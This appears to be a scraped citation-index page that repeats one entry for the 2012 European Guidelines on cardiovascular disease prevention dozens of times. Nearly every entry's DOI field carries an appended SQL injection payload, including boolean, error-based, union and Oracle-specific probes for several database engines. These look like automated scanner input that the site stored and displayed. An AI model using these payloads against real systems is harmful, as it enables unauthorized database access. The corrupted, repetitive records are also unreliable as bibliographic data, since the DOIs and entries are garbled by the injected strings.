elimination of risk factors of atherosclerosis. These measures should be as comprehensive as those in patients with established coronary and cerebrovascular disease.
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'European Guidelines on cardiovascular disease prevention in clinical practice (version 2012)' The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). [Eur Heart J 2012;33:1635-1701, doi: 10.1093/eurheartj/ehs092]. Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs254] [Citation(s) in RCA: 11] [Impact Index Per Article: 0.9] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 or row(8146,8803)>(select count(*),concat(0x716a6b7671,(select (elt(8146=8146,1))),0x716a6b6b71,floor(rand(0)*2))x from (select 2388 union select 5117 union select 8321 union select 3615)a group by x)-- elcj] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 order by 1#] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/15/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 3170 in (select (char(113)+char(106)+char(107)+char(118)+char(113)+(select (case when (3170=3170) then char(49) else char(48) end))+char(113)+char(106)+char(107)+char(107)+char(113)))-- tahf] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 or (select 1712 from(select count(*),concat(0x716a6b7671,(select (elt(1712=1712,1))),0x716a6b6b71,floor(rand(0)*2))x from information_schema.plugins group by x)a)] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 rlike (select (case when (9466=7058) then 0x31302e313039332f65757268656172746a2f656873303932 else 0x28 end))-- ttsc] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 6452=convert(int,(select char(113)+char(106)+char(107)+char(118)+char(113)+(select (case when (6452=6452) then char(49) else char(48) end))+char(113)+char(106)+char(107)+char(107)+char(113)))] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 2324=8968] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 order by 1-- zvcl] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 8035=cast((chr(113)||chr(106)||chr(107)||chr(118)||chr(113))||(select (case when (8035=8035) then 1 else 0 end))::text||(chr(113)||chr(106)||chr(107)||chr(107)||chr(113)) as numeric)-- iysb] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 procedure analyse(extractvalue(2079,concat(0x5c,0x716a6b7671,(select (case when (2079=2079) then 1 else 0 end)),0x716a6b6b71)),1)-- lfld] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and (select (case when (1359=8344) then null else ctxsys.drithsx.sn(1,1359) end) from dual) is null-- ggzk] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 4025=9315-- qnyn] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 9632=(select (case when (9632=4878) then 9632 else (select 4878 union select 6858) end))-- yuxj] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 3059=(select (case when (3059=3059) then 3059 else (select 2523 union select 3191) end))-- espk] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and (select (case when (2951=3314) then null else cast((chr(78)||chr(114)||chr(74)||chr(103)) as numeric) end)) is null-- mzeq] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 1587=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(106)||chr(107)||chr(118)||chr(113)||(select (case when (1587=1587) then 1 else 0 end) from dual)||chr(113)||chr(106)||chr(107)||chr(107)||chr(113)||chr(62))) from dual)-- csef] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 or extractvalue(3448,concat(0x5c,0x716a6b7671,(select (elt(3448=3448,1))),0x716a6b6b71))-- jyhw] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 6034=6034] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 2136=utl_inaddr.get_host_address(chr(113)||chr(106)||chr(107)||chr(118)||chr(113)||(select (case when (2136=2136) then 1 else 0 end) from dual)||chr(113)||chr(106)||chr(107)||chr(107)||chr(113))-- ozyc] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/15/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 rlike (select (case when (5657=6962) then 0x31302e313039332f65757268656172746a2f656873303932 else 0x28 end))] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 8035=cast((chr(113)||chr(106)||chr(107)||chr(118)||chr(113))||(select (case when (8035=8035) then 1 else 0 end))::text||(chr(113)||chr(106)||chr(107)||chr(107)||chr(113)) as numeric)] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 6034=6034-- bkpd] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and (select (case when (1123=4398) then null else cast((chr(90)||chr(86)||chr(109)||chr(72)) as numeric) end)) is null] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 2136=utl_inaddr.get_host_address(chr(113)||chr(106)||chr(107)||chr(118)||chr(113)||(select (case when (2136=2136) then 1 else 0 end) from dual)||chr(113)||chr(106)||chr(107)||chr(107)||chr(113))] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 or row(8146,8803)>(select count(*),concat(0x716a6b7671,(select (elt(8146=8146,1))),0x716a6b6b71,floor(rand(0)*2))x from (select 2388 union select 5117 union select 8321 union select 3615)a group by x)] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and (select (case when (1885=1885) then null else ctxsys.drithsx.sn(1,1885) end) from dual) is null] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 5592=concat(char(113)+char(106)+char(107)+char(118)+char(113),(select (case when (5592=5592) then char(49) else char(48) end)),char(113)+char(106)+char(107)+char(107)+char(113))] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and row(6997,2229)>(select count(*),concat(0x716a6b7671,(select (elt(6997=6997,1))),0x716a6b6b71,floor(rand(0)*2))x from (select 1841 union select 2486 union select 3537 union select 4352)a group by x)] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and row(6997,2229)>(select count(*),concat(0x716a6b7671,(select (elt(6997=6997,1))),0x716a6b6b71,floor(rand(0)*2))x from (select 1841 union select 2486 union select 3537 union select 4352)a group by x)-- dsyg] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 6452=convert(int,(select char(113)+char(106)+char(107)+char(118)+char(113)+(select (case when (6452=6452) then char(49) else char(48) end))+char(113)+char(106)+char(107)+char(107)+char(113)))-- utoj] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and (select (case when (5419=6076) then null else ctxsys.drithsx.sn(1,5419) end) from dual) is null] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and (select (case when (1885=1885) then null else ctxsys.drithsx.sn(1,1885) end) from dual) is null-- ttqb] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 and 3170 in (select (char(113)+char(106)+char(107)+char(118)+char(113)+(select (case when (3170=3170) then char(49) else char(48) end))+char(113)+char(106)+char(107)+char(107)+char(113)))] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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European Guidelines on cardiovascular disease prevention in clinical practice (version 2012): The Fifth Joint Task Force of the European Society of Cardiology and Other Societies on Cardiovascular Disease Prevention in Clinical Practice (constituted by representatives of nine societies and by invited experts) * Developed with the special contribution of the European Association for Cardiovascular Prevention & Rehabilitation (EACPR). Eur Heart J 2012. [DOI: 10.1093/eurheartj/ehs092 or (select 1712 from(select count(*),concat(0x716a6b7671,(select (elt(1712=1712,1))),0x716a6b6b71,floor(rand(0)*2))x from information_schema.plugins group by x)a)-- bzkl] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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